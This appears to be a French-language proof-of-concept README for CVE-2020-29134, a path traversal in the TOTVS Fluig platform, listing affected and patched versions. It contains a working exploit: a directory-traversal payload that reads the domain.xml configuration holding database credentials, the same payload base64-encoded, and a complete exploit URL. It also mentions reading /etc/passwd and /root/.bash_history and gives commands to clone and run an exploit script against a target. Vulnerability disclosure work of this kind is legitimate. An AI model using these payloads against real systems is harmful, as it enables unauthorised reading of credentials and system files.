Fluig est la plateforme de productivité et de collaboration qui s'intègre au système ERP,
 et aux autres systèmes de votre entreprise pour révolutionner la façon dont vous et votre équipe travaillez.

 La plateforme TOTVS Fluig permet un path traversal via un paramètre encodé en base64.
 Lorsqu'elle est exploitée, cette vulnérabilité permet la lecture de fichiers XML sensibles, qui contiennent
 des données pour accéder à la base de données et, dans certains cas, aux connexions LDAP et aux intégrations du système ERP.
 De plus, il est également possible d'explorer des fichiers système, tels que /etc/passwd et /root/.bash_history
 

--
<== Fluig Lake 1.7.0
<== Fluig 1.6.5
<== Fluig 1.6.4
...

<== Fluig Lake 1.7.0-210303 (Patched)
<== Fluig 1.6.5-210308 (Patched)
<== Fluig 1.6.4-210308 (Patched)

 http://fluig.host.com/volume/stream/Rmx1aWc=/

 ?t=1&vol=Default&id=1&ver=1000&file=../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml

 P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=

 http://HOST.FLUIG.COM/volume/stream/Rmx1aWc=/P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=
 

 https://www.exploit-db.com/exploits/49622

 

 # git clone https://github.com/lucxssouza/CVE-2020-29134.git
 # cd CVE-2020-29134
 # chmod +x xfluig.sh

 Ex1: ./xfluig.sh http://fluig.host.com REQUESTS_WFUZZ (number of requests generated by wfuzz)

 Ex2: ./xfluig.sh http://fluig.host.com:PORT